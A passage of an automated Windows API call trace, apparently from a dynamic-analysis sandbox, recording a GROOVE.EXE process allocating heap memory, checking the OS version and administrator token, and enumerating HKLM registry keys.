ReserveSize=0x0, CommitSize=0x1234, Lock=0x0, Parameters=0x0) returned 0x9d0000 [0206.020] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x80) returned 0x9d07d0 [0206.020] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x80) returned 0x9d0858 [0206.020] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x80) returned 0x9d08e0 [0206.020] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x184) returned 0x9d0968 [0206.020] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9d0af8 [0206.020] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9d0b40 [0206.020] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9d0b88 [0206.020] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9d0bd0 [0206.020] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9d0c18 [0206.020] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9d0c60 [0206.020] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9d0ca8 [0206.020] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9d0cf0 [0206.020] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9d0d38 [0206.020] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9d0d80 [0206.020] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9d0dc8 [0206.020] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9d0e10 [0206.020] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9d0e58 [0206.020] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9d0ea0 [0206.020] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9d0ee8 [0206.020] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9d0f30 [0206.020] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x3ef378, nSize=0x1000 | out: lpFilename="C:\\Program Files\\Microsoft Office\\Office14\\GROOVE.EXE" (normalized: "c:\\program files\\microsoft office\\office14\\groove.exe")) returned 0x35 [0206.021] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9d0f78 [0206.021] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x2c) returned 0x9db828 [0206.029] GetVersionExW (in: lpVersionInformation=0x3ef998*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x3ef998*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0206.029] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x3ef980 | out: Wow64Process=0x3ef980) returned 1 [0206.029] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x3ef95c | out: TokenHandle=0x3ef95c*=0xa0) returned 1 [0206.029] GetTokenInformation (in: TokenHandle=0xa0, TokenInformationClass=0x2, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x3ef958 | out: TokenInformation=0x0, ReturnLength=0x3ef958) returned 0 [0206.029] GetLastError () returned 0x7a [0206.029] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x80) returned 0x9db860 [0206.029] GetTokenInformation (in: TokenHandle=0xa0, TokenInformationClass=0x2, TokenInformation=0x9db860, TokenInformationLength=0x58, ReturnLength=0x3ef958 | out: TokenInformation=0x9db860, ReturnLength=0x3ef958) returned 1 [0206.029] AllocateAndInitializeSid (in: pIdentifierAuthority=0x3ef968, nSubAuthorityCount=0x2, nSubAuthority0=0x20, nSubAuthority1=0x220, nSubAuthority2=0x0, nSubAuthority3=0x0, nSubAuthority4=0x0, nSubAuthority5=0x0, nSubAuthority6=0x0, nSubAuthority7=0x0, pSid=0x3ef960 | out: pSid=0x3ef960*=0x7c2910*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0))) returned 1 [0206.029] EqualSid (pSid1=0x7c2910*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), pSid2=0x9db884*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0))) returned 1 [0206.029] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9db860) returned 1 [0206.030] NtClose (Handle=0xa0) returned 0x0 [0206.030] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9db860 [0206.031] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x80) returned 0x9db8a8 [0206.032] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x280) returned 0x9db930 [0206.032] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0206.039] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x9db930, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0206.039] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x80) returned 0x9dbbb8 [0206.039] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0206.039] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dbc58 [0206.039] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x9dbc58, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bcd00000000", lpUsedDefaultChar=0x0) returned 11 [0206.039] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dbca0 [0206.039] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dbc58) returned 1 [0206.039] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dbca0) returned 1 [0206.039] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dbbb8) returned 1 [0206.039] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x9db930, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0206.039] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x80) returned 0x9dbbb8 [0206.039] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0206.039] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dbca0 [0206.039] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x9dbca0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware", lpUsedDefaultChar=0x0) returned 8 [0206.039] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dbc58 [0206.039] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dbca0) returned 1 [0206.039] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dbc58) returned 1 [0206.040] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dbbb8) returned 1 [0206.040] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x9db930, cchName=0x104 | out: lpName="SAM") returned 0x0 [0206.040] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x80) returned 0x9dbbb8 [0206.040] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0206.040] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dbc58 [0206.040] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x9dbc58, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sam", lpUsedDefaultChar=0x0) returned 3 [0206.040] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dbca0 [0206.040] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dbc58) returned 1 [0206.040] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dbca0) returned 1 [0206.040] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dbbb8) returned 1 [0206.040] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x9db930, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0206.040] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x80) returned 0x9dbbb8 [0206.040] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0206.040] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dbca0 [0206.040] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x9dbca0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="security", lpUsedDefaultChar=0x0) returned 8 [0206.040] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dbc58 [0206.040] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dbca0) returned 1 [0206.040] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dbc58) returned 1 [0206.040] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dbbb8) returned 1 [0206.040] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x9db930, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0206.040] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x80) returned 0x9dbbb8 [0206.040] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0206.040] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dbc58 [0206.040] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x9dbc58, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0206.040] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dbca0 [0206.040] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dbc58) returned 1 [0206.040] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dbca0) returned 1 [0206.040] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dbbb8) returned 1 [0206.040] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE", ulOptions=0x0, samDesired=0x20109, phkResult=0x3ef8f0 | out: phkResult=0x3ef8f0*=0xa0) returned 0x0 [0206.040] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x184) returned 0x9dd040 [0206.041] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dbca0 [0206.041] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dbc58 [0206.041] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dbce8 [0206.041] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dbd30 [0206.041] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dbd78 [0206.041] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dbdc0 [0206.041] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dbe08 [0206.041] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dbe50 [0206.041] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dbe98 [0206.041] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dbee0 [0206.041] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dbf28 [0206.041] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dbf70 [0206.041] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dbfb8 [0206.041] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc000 [0206.041] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc048 [0206.053] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc090 [0206.053] RegCloseKey (hKey=0x80000002) returned 0x0 [0206.053] RegEnumKeyW (in: hKey=0xa0, dwIndex=0x0, lpName=0x9db930, cchName=0x104 | out: lpName="ATI Technologies") returned 0x0 [0206.053] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x80) returned 0x9dbbb8 [0206.053] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ati technologies", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0206.053] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc0d8 [0206.053] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ati technologies", cchWideChar=16, lpMultiByteStr=0x9dc0d8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ati technologies", lpUsedDefaultChar=0x0) returned 16 [0206.053] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc120 [0206.053] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc0d8) returned 1 [0206.053] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc120) returned 1 [0206.053] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dbbb8) returned 1 [0206.053] RegEnumKeyW (in: hKey=0xa0, dwIndex=0x1, lpName=0x9db930, cchName=0x104 | out: lpName="CBSTEST") returned 0x0 [0206.054] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x80) returned 0x9dbbb8 [0206.054] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cbstest", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0206.054] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc120 [0206.054] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cbstest", cchWideChar=7, lpMultiByteStr=0x9dc120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cbstest", lpUsedDefaultChar=0x0) returned 7 [0206.054] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc0d8 [0206.054] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc120) returned 1 [0206.054] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc0d8) returned 1 [0206.054] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dbbb8) returned 1 [0206.054] RegEnumKeyW (in: hKey=0xa0, dwIndex=0x2, lpName=0x9db930, cchName=0x104 | out: lpName="Classes") returned 0x0 [0206.054] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x80) returned 0x9dbbb8 [0206.054] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="classes", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0206.054] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc0d8 [0206.054] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="classes", cchWideChar=7, lpMultiByteStr=0x9dc0d8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="classes", lpUsedDefaultChar=0x0) returned 7 [0206.054] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc120 [0206.054] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc0d8) returned 1 [0206.054] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc120) returned 1 [0206.054] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dbbb8) returned 1 [0206.054] RegEnumKeyW (in: hKey=0xa0, dwIndex=0x3, lpName=0x9db930, cchName=0x104 | out: lpName="Clients") returned 0x0 [0206.054] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x80) returned 0x9dbbb8 [0206.054] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clients", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0206.054] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc120 [0206.054] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clients", cchWideChar=7, lpMultiByteStr=0x9dc120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="clients", lpUsedDefaultChar=0x0) returned 7 [0206.054] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc0d8 [0206.054] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc120) returned 1 [0206.054] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc0d8) returned 1 [0206.054] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dbbb8) returned 1 [0206.054] RegEnumKeyW (in: hKey=0xa0, dwIndex=0x4, lpName=0x9db930, cchName=0x104 | out: lpName="Intel") returned 0x0 [0206.054] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x80) returned 0x9dbbb8 [0206.054] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="intel", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0206.054] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc0d8 [0206.054] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="intel", cchWideChar=5, lpMultiByteStr=0x9dc0d8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="intel", lpUsedDefaultChar=0x0) returned 5 [0206.054] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc120 [0206.055] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc0d8) returned 1 [0206.055] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc120) returned 1 [0206.055] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dbbb8) returned 1 [0206.055] RegEnumKeyW (in: hKey=0xa0, dwIndex=0x5, lpName=0x9db930, cchName=0x104 | out: lpName="Macromedia") returned 0x0 [0206.055] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x80) returned 0x9dbbb8 [0206.055] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="macromedia", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0206.055] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc120 [0206.055] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="macromedia", cchWideChar=10, lpMultiByteStr=0x9dc120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="macromedia", lpUsedDefaultChar=0x0) returned 10 [0206.055] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc0d8 [0206.055] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc120) returned 1 [0206.055] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc0d8) returned 1 [0206.055] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dbbb8) returned 1 [0206.055] RegEnumKeyW (in: hKey=0xa0, dwIndex=0x6, lpName=0x9db930, cchName=0x104 | out: lpName="Microsoft") returned 0x0 [0206.055] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x80) returned 0x9dbbb8 [0206.055] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0206.055] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc0d8 [0206.055] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft", cchWideChar=9, lpMultiByteStr=0x9dc0d8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="microsoft", lpUsedDefaultChar=0x0) returned 9 [0206.055] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc120 [0206.055] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc0d8) returned 1 [0206.055] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc120) returned 1 [0206.055] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dbbb8) returned 1 [0206.055] RegOpenKeyExW (in: hKey=0xa0, lpSubKey="Microsoft", ulOptions=0x0, samDesired=0x20109, phkResult=0x3ef8f0 | out: phkResult=0x3ef8f0*=0x24) returned 0x0 [0206.055] RegCloseKey (hKey=0xa0) returned 0x0 [0206.055] RegEnumKeyW (in: hKey=0x24, dwIndex=0x0, lpName=0x9db930, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0206.055] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x80) returned 0x9dbbb8 [0206.055] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0206.055] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc120 [0206.055] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x9dc120, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".netframework", lpUsedDefaultChar=0x0) returned 13 [0206.055] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc0d8 [0206.056] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc120) returned 1 [0206.056] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc0d8) returned 1 [0206.056] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dbbb8) returned 1 [0206.056] RegEnumKeyW (in: hKey=0x24, dwIndex=0x1, lpName=0x9db930, cchName=0x104 | out: lpName="Active Setup") returned 0x0 [0206.056] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x80) returned 0x9dbbb8 [0206.056] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="active setup", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0206.056] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc0d8 [0206.056] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="active setup", cchWideChar=12, lpMultiByteStr=0x9dc0d8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="active setup", lpUsedDefaultChar=0x0) returned 12 [0206.056] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc120 [0206.056] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc0d8) returned 1 [0206.056] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc120) returned 1 [0206.056] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dbbb8) returned 1 [0206.056] RegEnumKeyW (in: hKey=0x24, dwIndex=0x2, lpName=0x9db930, cchName=0x104 | out: lpName="ADs") returned 0x0 [0206.056] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x80) returned 0x9dbbb8 [0206.056] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ads", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0206.056] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc120 [0206.056] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ads", cchWideChar=3, lpMultiByteStr=0x9dc120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ads", lpUsedDefaultChar=0x0) returned 3 [0206.056] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc0d8 [0206.056] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, 